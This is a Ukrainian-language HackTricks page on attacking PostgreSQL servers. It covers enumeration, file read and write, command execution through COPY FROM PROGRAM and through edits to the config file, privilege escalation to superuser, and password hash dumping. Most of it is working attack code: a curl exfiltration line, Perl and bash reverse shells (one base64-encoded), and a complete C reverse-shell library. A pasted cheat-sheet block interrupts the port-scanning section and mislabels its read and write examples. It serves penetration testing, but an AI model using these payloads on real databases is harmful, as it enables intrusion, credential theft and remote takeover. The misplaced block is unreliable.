5432,5433 - Pentesting Postgresql

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють на основі найбільш продвинутих інструментів у спільноті. Отримайте доступ сьогодні:

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

PostgreSQL описується як об'єктно-реляційна система керування базами даних, яка є відкритим джерелом. Ця система не лише використовує мову SQL, але й розширює її додатковими функціями. Її можливості дозволяють обробляти широкий спектр типів даних та операцій, що робить її універсальним вибором для розробників та організацій.

Порт за замовчуванням: 5432, і якщо цей порт вже використовується, здається, що postgresql буде використовувати наступний порт (імовірно, 5433), який не використовується.

PORT     STATE SERVICE
5432/tcp open  pgsql

Підключення та Основний перелік

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Якщо під час виконання \list ви знаходите базу даних під назвою rdsadmin, ви знаєте, що ви знаходитесь всередині бази даних AWS postgresql.

Для отримання додаткової інформації про як зловживати базою даних PostgreSQL, перевірте:

pagePostgreSQL injection

Автоматичне перелічення

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Сканування портів

Згідно з цим дослідженням, коли спроба підключення не вдається, dblink викидає виняток sqlclient_unable_to_establish_sqlconnection, включаючи пояснення помилки. Нижче наведені приклади цих деталей.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • Хост недоступний

ДЕТАЛІ: не вдалося підключитися до сервера: Немає маршруту до хоста. Чи працює сервер на хості "1.2.3.4" і приймає TCP/IP з'єднання на порту 5678?

  • Порт закритий

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Порт відкритий

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request
### PostgreSQL

#### Connect to PostgreSQL
```bash
psql -h <IP> -U <USER> -d <DATABASE>

List databases

\l

List tables

\dt

Show table structure

\dt+ <TABLE>

Execute SQL query

SELECT * FROM <TABLE>;

Execute system commands

CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

Write files

CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM '/etc/passwd';
SELECT * FROM cmd_exec;

Read files

CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec TO '/tmp/file_to_write' WITH (FORMAT csv, HEADER false);

Enable additional modules

CREATE LANGUAGE plpythonu;
CREATE FUNCTION plpython_call_handler() RETURNS language_handler AS '$libdir/plpython2', 'plpython_call_handler' LANGUAGE C;
CREATE TRUSTED LANGUAGE plpythonu HANDLER plpython_call_handler;

DETAIL: FATAL: password authentication failed for user "name"

* Порт відкритий або фільтрується

DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

У функціях PL/pgSQL наразі неможливо отримати деталі винятків. Однак, якщо у вас є прямий доступ до сервера PostgreSQL, ви можете отримати необхідну інформацію. Якщо видобування імен користувачів та паролів з системних таблиць не є можливим, ви можете розглянути використання методу атаки за допомогою словника, який обговорюється в попередньому розділі, оскільки це може потенційно призвести до позитивних результатів.

## Перелік Привілеїв

### Ролі

| Типи Ролей    |                                                                                                                                                      |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper       | Роль має привілеї суперкористувача                                                                                                                 |
| rolinherit     | Роль автоматично успадковує привілеї ролей, до яких вона належить                                                                                   |
| rolcreaterole  | Роль може створювати інші ролі                                                                                                                      |
| rolcreatedb    | Роль може створювати бази даних                                                                                                                      |
| rolcanlogin    | Роль може увійти в систему. Це означає, що цю роль можна вказати як початковий ідентифікатор авторизації сеансу                                |
| rolreplication | Роль є ролью реплікації. Роль реплікації може ініціювати з'єднання реплікації та створювати та видаляти слоти реплікації.                   |
| rolconnlimit   | Для ролей, які можуть увійти в систему, це встановлює максимальну кількість одночасних з'єднань, які може здійснити ця роль. -1 означає відсутність обмеження. |
| rolpassword    | Не пароль (завжди відображається як `********`)                                                                                                      |
| rolvaliduntil  | Час закінчення терміну дії пароля (використовується лише для аутентифікації за паролем); null, якщо термін дії не закінчується                  |
| rolbypassrls   | Роль обходить кожну політику безпеки на рівні рядка, див. [Розділ 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) для отримання додаткової інформації. |
| rolconfig      | Рольові значення за замовчуванням для змінних конфігурації під час виконання                                                                            |
| oid            | ID ролі                                                                                                                                             |

#### Цікаві Групи

* Якщо ви є членом **`pg_execute_server_program`**, ви можете **виконувати** програми
* Якщо ви є членом **`pg_read_server_files`**, ви можете **читати** файли
* Якщо ви є членом **`pg_write_server_files`**, ви можете **писати** файли

<div data-gb-custom-block data-tag="hint" data-style='info'>

Зверніть увагу, що в Postgres **користувач**, **група** та **роль** - це **теж саме**. Це просто залежить від того, **як ви це використовуєте** та чи **дозволяєте вхід**.

</div>

```sql
# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Таблиці

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Функції

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Дії з файловою системою

Читання каталогів та файлів

З цього коміту члени визначеної групи DEFAULT_ROLE_READ_SERVER_FILES (званої pg_read_server_files) та суперкористувачі можуть використовувати метод COPY для будь-якого шляху (перевірте convert_and_check_filename в genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

Пам'ятайте, що якщо ви не є суперкористувачем, але маєте дозвіл CREATEROLE, ви можете додати себе до цієї групи:

GRANT pg_read_server_files TO username;

Додаткова інформація.

Є інші функції postgres, які можна використовувати для читання файлу або переліку каталогу. Їх можуть використовувати лише суперкористувачі та користувачі з явними дозволами:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Ви можете знайти більше функцій за посиланням https://www.postgresql.org/docs/current/functions-admin.html

Просте Записування Файлів

Тільки суперкористувачі та члени pg_write_server_files можуть використовувати copy для запису файлів.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Пам'ятайте, що якщо ви не є суперкористувачем, але маєте дозвіл CREATEROLE, ви можете додати себе до цієї групи:

GRANT pg_write_server_files TO username;

Додаткова інформація.

Пам'ятайте, що COPY не може обробляти символи нового рядка, тому навіть якщо ви використовуєте базове64 навантаження, вам потрібно відправити однорядковий вираз. Дуже важливим обмеженням цієї техніки є те, що copy не може використовуватися для запису бінарних файлів, оскільки він змінює деякі бінарні значення.

Завантаження бінарних файлів

Однак існують інші техніки для завантаження великих бінарних файлів:

pageBig Binary Files Upload (PostgreSQL)

Підказка з премією за помилки: зареєструйтесь на Intigriti, преміальній платформі для пошуку помилок, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти премії до $100,000!

Оновлення даних таблиці PostgreSQL через запис локального файлу

Якщо у вас є необхідні дозволи для читання та запису файлів сервера PostgreSQL, ви можете оновити будь-яку таблицю на сервері, перезаписавши пов'язаний файловий вузол в каталозі даних PostgreSQL. Докладніше про цю техніку тут.

Необхідні кроки:

  1. Отримайте каталог даних PostgreSQL

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Примітка: Якщо ви не можете отримати поточний шлях каталогу даних з параметрів, ви можете запитати основну версію PostgreSQL через запит SELECT version() та спробувати перебрати шлях. Загальні шляхи каталогу даних на установках Unix PostgreSQL - /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Загальним ім'ям кластера є main. 2. Отримайте відносний шлях до файлового вузла, пов'язаного з цільовою таблицею

SELECT pg_relation_filepath('{TABLE_NAME}')

Цей запит повинен повернути щось на кшталт base/3/1337. Повний шлях на диску буде $DATA_DIRECTORY/base/3/1337, тобто /var/lib/postgresql/13/main/base/3/1337. 3. Завантажте файловий вузол через функції lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  1. Отримайте тип даних, пов'язаний з цільовою таблицею

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
  1. Використовуйте редактор файлового вузла PostgreSQL, щоб редагувати файловий вузол; встановіть всі булеві прапори rol* на 1 для повних дозволів.

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  1. (Необов'язково) Очистіть кеш таблиці в пам'яті, запустивши дорогий запит SQL

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  1. Тепер ви повинні побачити оновлені значення таблиці в PostgreSQL.

Ви також можете стати суперадміном, редагуючи таблицю pg_authid. Див. наступний розділ.

RCE

RCE на програму

З версії 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), тільки суперкористувачі та члени групи pg_execute_server_program можуть використовувати copy для RCE (приклад з витіканням:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Приклад для виконання:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Пам'ятайте, що якщо ви не є суперкористувачем, але маєте дозвіл CREATEROLE, ви можете додати себе до цієї групи:

GRANT pg_execute_server_program TO username;

Додаткова інформація.

Або використовуйте модуль multi/postgres/postgres_copy_from_program_cmd_exec з metasploit. Додаткова інформація про цю уразливість тут. Хоча вона була описана як CVE-2019-9193, Postges заявив, що це була функція і не буде виправлена.

RCE з мовами PostgreSQL

pageRCE with PostgreSQL Languages

RCE з розширеннями PostgreSQL

Після того, як ви дізналися з попереднього поста як завантажувати бінарні файли, ви можете спробувати отримати RCE завантажуючи розширення PostgreSQL та завантажуючи його.

pageRCE with PostgreSQL Extensions

RCE з файлом конфігурації PostgreSQL

Наступні вектори RCE особливо корисні в обмежених контекстах SQLi, оскільки всі кроки можна виконати через вкладені SELECT-оператори

Файл конфігурації PostgreSQL є записуваним користувачем postgres, який запускає базу даних, тому як суперкористувач, ви можете записувати файли в файлову систему, і, отже, ви можете перезаписати цей файл.

RCE з ssl_passphrase_command

Додаткова інформація про цю техніку тут.

У файлі конфігурації є деякі цікаві атрибути, які можуть призвести до RCE:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Шлях до приватного ключа бази даних

  • ssl_passphrase_command = '' Якщо приватний файл захищений паролем (зашифрований), PostgreSQL виконає команду, вказану в цьому атрибуті.

  • ssl_passphrase_command_supports_reload = off Якщо цей атрибут увімкнено, команда, виконана, якщо ключ захищений паролем, буде виконана при виконанні pg_reload_conf().

Тоді зловмисник повинен:

  1. Витягнути приватний ключ з сервера

  2. Зашифрувати завантажений приватний ключ:

  3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key

  4. Перезаписати

  5. Витягнути поточну конфігурацію PostgreSQL

  6. Перезаписати конфігурацію з вказаними атрибутами конфігурації:

  7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'

  8. ssl_passphrase_command_supports_reload = on

  9. Виконати pg_reload_conf()

Під час тестування я помітив, що це працюватиме лише, якщо файл приватного ключа має привілеї 640, він належить кореневі та групі ssl-cert або postgres (так що користувач postgres може його читати), і розміщений в /var/lib/postgresql/12/main.

RCE з archive_command

Додаткова інформація про цю конфігурацію та про WAL тут.

Інший атрибут у файлі конфігурації, який можна використовувати, - це archive_command.

Для того, щоб це працювало, параметр archive_mode повинен бути 'on' або 'always'. Якщо це правда, тоді ми можемо перезаписати команду в archive_command і змусити її виконатися через операції запису журналу передоплати (WAL).

Загальні кроки:

  1. Перевірте, чи увімкнений режим архіву: SELECT current_setting('archive_mode')

  2. Перезапишіть archive_command з навантаженням. Наприклад, зворотний shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'

  3. Перезавантажте конфігурацію: SELECT pg_reload_conf()

  4. Змусіть виконати операцію запису журналу передоплати, яка викличе команду архіву: SELECT pg_switch_wal() або SELECT pg_switch_xlog() для деяких версій Postgres

RCE з попередніми завантажуваними бібліотеками

Додаткова інформація про цю техніку тут.

Цей вектор атаки використовує наступні змінні конфігурації:

  • session_preload_libraries -- бібліотеки, які будуть завантажені сервером PostgreSQL при підключенні клієнта.

  • dynamic_library_path -- список каталогів, де сервер PostgreSQL буде шукати бібліотеки.

Ми можемо встановити значення dynamic_library_path на каталог, в якому можна записувати користувачем postgres, який запускає базу даних, наприклад, каталог /tmp/, і завантажити туди шкідливий об'єкт .so. Далі ми змусимо сервер PostgreSQL завантажити нашу нову завантажену бібліотеку, включивши її в змінну session_preload_libraries.

Кроки атаки:

  1. Завантажте оригінальний postgresql.conf

  2. Включіть каталог /tmp/ у значення dynamic_library_path, наприклад dynamic_library_path = '/tmp:$libdir'

  3. Включіть назву шкідливої бібліотеки у значення session_preload_libraries, наприклад session_preload_libraries = 'payload.so'

  4. Перевірте основну версію PostgreSQL через запит SELECT version()

  5. Скомпілюйте код шкідливої бібліотеки з правильним пакетом розробки PostgreSQL. Приклад коду:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Компіляція коду:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  1. Завантажте шкідливий postgresql.conf, створений на кроках 2-3, і перезапишіть оригінал

  2. Завантажте payload.so з кроку 5 в каталог /tmp

  3. Перезавантажте конфігурацію сервера, перезапустивши сервер або викликавши запит SELECT pg_reload_conf()

  4. Під час наступного підключення до БД ви отримаєте зворотне підключення до оболонки.

Підвищення привілеїв в Postgres

Підвищення привілеїв CREATEROLE

Надання

Згідно з документацією: Ролі, які мають привілеї CREATEROLE, можуть надавати або забирати членство в будь-якій ролі, яка не є суперкористувачем.

Отже, якщо у вас є дозвіл CREATEROLE, ви можете надати собі доступ до інших ролей (які не є суперкористувачами), що може дати вам можливість читати та записувати файли та виконувати команди:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Змінити пароль

Користувачі з цією роллю також можуть змінювати паролі інших несуперкористувачів:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Підняття привілеїв до SUPERUSER

Досить часто можна виявити, що локальні користувачі можуть увійти в PostgreSQL, не вказуючи жодного пароля. Тому, якщо ви маєте дозвіл на виконання коду, ви можете скористатися цими дозволами, щоб отримати роль SUPERUSER.

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

Це зазвичай можливо через наступні рядки у файлі pg_hba.conf:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE привілеї

У цьому описі пояснено, як було можливо піднятися в привілеях в Postgres GCP, зловживаючи привілеєм ALTER TABLE, який був наданий користувачеві.

Коли ви намагаєтеся зробити іншого користувача власником таблиці, ви повинні отримати помилку, яка цьому запобігає, але, здається, GCP надав цю опцію не-суперкористувачу postgres в GCP:

Поєднуючи цю ідею з тим, що коли виконуються команди INSERT/UPDATE/ANALYZE на таблиці з функцією індексу, функція викликається як частина команди з правами власника таблиці. Можливо створити індекс з функцією, надати права власності суперкористувачу над цією таблицею, а потім виконати ANALYZE над таблицею зі зловмисною функцією, яка зможе виконувати команди, оскільки вона використовує привілеї власника.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Експлуатація

  1. Почніть з створення нової таблиці.

  2. Вставте деякий неспівмірний вміст у таблицю, щоб забезпечити дані для функції індексу.

  3. Розробіть зловмисну функцію індексу, яка містить виконавчий код, що дозволяє виконувати несанкціоновані команди.

  4. Змініть власника таблиці на "cloudsqladmin", який є роллю суперкористувача GCP, використовуваною виключно Cloud SQL для управління та підтримки бази даних.

  5. Виконайте операцію ANALYZE на таблиці. Ця дія змушує двигун PostgreSQL перейти до контексту користувача власника таблиці "cloudsqladmin". В результаті зловмисна функція індексу викликається з дозволами "cloudsqladmin", що дозволяє виконати раніше несанкціоновану оболонкову команду.

У PostgreSQL цей процес виглядає приблизно так:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Тоді таблиця shell_commands_results буде містити вивід виконаного коду:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Локальний вхід

Деякі неправильно налаштовані екземпляри postgresql можуть дозволяти вхід будь-якому локальному користувачеві, можливо локальний вхід з 127.0.0.1 за допомогою функції dblink:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Зверніть увагу, що для попереднього запиту працювати потрібно існування функції dblink. Якщо її немає, ви можете спробувати створити її за допомогою

CREATE EXTENSION dblink;

Якщо у вас є пароль користувача з більшими привілеями, але користувачу заборонено вхід з зовнішньої IP-адреси, ви можете використати наступну функцію для виконання запитів як цей користувач:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Можливо перевірити, чи існує ця функція за допомогою:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Власна функція з SECURITY DEFINER

У цьому описі, пентестери змогли піднятися в привілеї всередині екземпляра postgres, наданого IBM, оскільки вони знайшли цю функцію з прапорцем SECURITY DEFINER:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();

Як пояснено в документації, функція з SECURITY DEFINER виконується з привілеями користувача, який її володіє. Тому, якщо функція вразлива до SQL-ін'єкцій або виконує привілейовані дії з параметрами, які контролюються зловмисником, її можна використовувати для підняття привілеїв всередині postgres.

На рядку 4 попереднього коду можна побачити, що функція має прапорець SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

І потім виконайте команди:

Пройдіть Burteforce з PL/pgSQL

PL/pgSQL - це повнофункціональна мова програмування, яка пропонує більший процедурний контроль порівняно з SQL. Вона дозволяє використовувати цикли та інші структури управління, щоб покращити логіку програми. Крім того, SQL-оператори та тригери можуть викликати функції, які створені за допомогою мови PL/pgSQL. Ця інтеграція дозволяє більш комплексний та гнучкий підхід до програмування та автоматизації баз даних. Ви можете зловживати цією мовою, щоб запросити PostgreSQL на перебір логінів користувачів.

pagePL/pgSQL Password Bruteforce

Підвищення привілеїв шляхом перезаписування внутрішніх таблиць PostgreSQL

Наступний вектор підвищення привілеїв особливо корисний в обмежених контекстах SQLi, оскільки всі кроки можна виконати через вкладені оператори SELECT

Якщо ви можете читати та записувати файли сервера PostgreSQL, ви можете стати суперкористувачем, перезаписавши філенод PostgreSQL на диску, пов'язаний з внутрішньою таблицею pg_authid.

Дізнайтеся більше про цей метод тут.

Кроки атаки:

  1. Отримайте каталог даних PostgreSQL

  2. Отримайте відносний шлях до філеноду, пов'язаного з таблицею pg_authid

  3. Завантажте філенод через функції lo_*

  4. Отримайте тип даних, пов'язаний з таблицею pg_authid

  5. Використовуйте Редактор філеноду PostgreSQL, щоб редагувати філенод; встановіть всі булеві прапори rol* на 1 для повних дозволів.

  6. Перезавантажте відредагований філенод через функції lo_*, та перезапишіть оригінальний файл на диску

  7. (Необов'язково) Очистіть кеш таблиці в пам'яті, запустивши дорогий SQL-запит

  8. Тепер ви повинні мати привілеї повного суперадміністратора.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

логування

У файлі postgresql.conf ви можете увімкнути логи postgresql, змінивши:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Потім перезапустіть сервіс.

pgadmin

pgadmin - це платформа адміністрування та розробки для PostgreSQL. Ви можете знайти паролі всередині файлу pgadmin4.db Ви можете розшифрувати їх, використовуючи функцію decrypt у скрипті: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

Клієнтська аутентифікація в PostgreSQL керується через файл конфігурації під назвою pg_hba.conf. Цей файл містить серію записів, кожен з яких вказує тип підключення, діапазон IP-адрес клієнта (якщо це застосовно), назву бази даних, ім'я користувача та метод аутентифікації для відповідності підключень. Перший запис, який відповідає типу підключення, IP-адресі клієнта, запитаній базі даних та імені користувача, використовується для аутентифікації. Якщо аутентифікація не вдається, резервного варіанту або резервного копіювання немає. Якщо жоден запис не відповідає, доступ заборонено.

Доступні методи аутентифікації на основі пароля в pg_hba.conf: md5, crypt та password. Ці методи відрізняються способом передачі пароля: зашифрований MD5, зашифрований crypt або чистий текст. Важливо зауважити, що метод crypt не може бути використаний з паролями, які були зашифровані в pg_authid.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Last updated